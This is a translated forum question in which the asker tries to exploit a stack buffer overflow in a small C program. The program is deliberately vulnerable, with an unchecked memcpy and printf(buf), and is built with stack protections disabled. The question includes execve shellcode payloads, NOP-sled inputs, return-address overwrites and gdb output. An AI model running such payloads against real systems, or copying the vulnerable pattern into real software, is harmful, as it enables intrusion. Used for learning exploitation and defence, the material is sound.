我有一个非常简单的stackoverflow问题:
#include <stdio.h>
int main(int argc, char *argv[]) {
char buf[256];
memcpy(buf, argv[1],strlen(argv[1]));
printf(buf);
}
我正在尝试使用以下代码进行溢出:
$(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + 'A'*237 + 'c8f4ffbf'.decode('hex')")
当我溢出堆栈时,我成功地用想要的地址覆盖了EIP,但是接着没有任何事情发生。我的shellcode没有被执行。
有人看到问题了吗?注意:我的python可能有误。
更新
我不明白的是为什么我的代码没有被执行。例如,如果我把eip指向空操作码,空操作码就永远不会被执行。就像这样,
$(python -c "print '\x90'*50 + 'A'*210 + '\xc8\xf4\xff\xbf'")
更新
请问有人能够在linux x86上利用这个溢出并发布结果吗?
更新
不要紧,我已经成功了。感谢大家的帮助。
更新
嗯,我原以为已经成功了。我确实获得了一个shell,但现在我正在尝试再次操作,并且遇到了问题。
我所做的只是在开头溢出堆栈并指向我的shellcode。像这样:
r $(python -c 'print "A"*260 + "\xcc\xf5\xff\xbf"')
这应该指向A的。现在我不明白的是为什么我的结尾地址在gdb中被改变了。
这是gdb给我的结果,
Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffff5cd in ?? ()
\xcc变成了\xcd。这是否与我使用gdb时遇到的错误有关?
例如,当我用“B”填充该地址时,使用\x42\x42\x42\x42可以正常解析。那是什么原因呢?
如果能得到任何帮助,将不胜感激。
此外,我正在使用以下选项进行编译:
gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o so so.c
这真的很奇怪,因为除了我需要的那个地址外,任何其他地址都有效。
更新
我可以在gdb中使用以下命令成功地生成一个shell:
$(python -c "print '\x90'*37 +'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + 'A'*200 + '\xc8\xf4\xff\xbf'")
但我不明白为什么有时候可以工作,有时候却不能。有时我的覆盖过的 eip 被 gdb 改变了。有人知道我错过了什么吗?此外,我只能在 gdb 中生成 shell,而不能在正常进程中生成。更糟糕的是,我似乎只能在 gdb 中启动一次 shell,然后 gdb 就停止工作了。
例如,现在当我运行以下命令时,在 gdb 中会出现这种情况...
Starting program: /root/so $(python -c 'print "A"*260 + "\xc8\xf4\xff\xbf"')
Program received signal SIGSEGV, Segmentation fault.
0xbffff5cc in ?? ()
这似乎是由于execstack被打开引起的。
更新
是的,出于某种原因,我现在得到了不同的结果,但是漏洞利用现在正在工作。所以谢谢大家的帮助。如果有人能解释一下我上面收到的结果,我全听着。谢谢。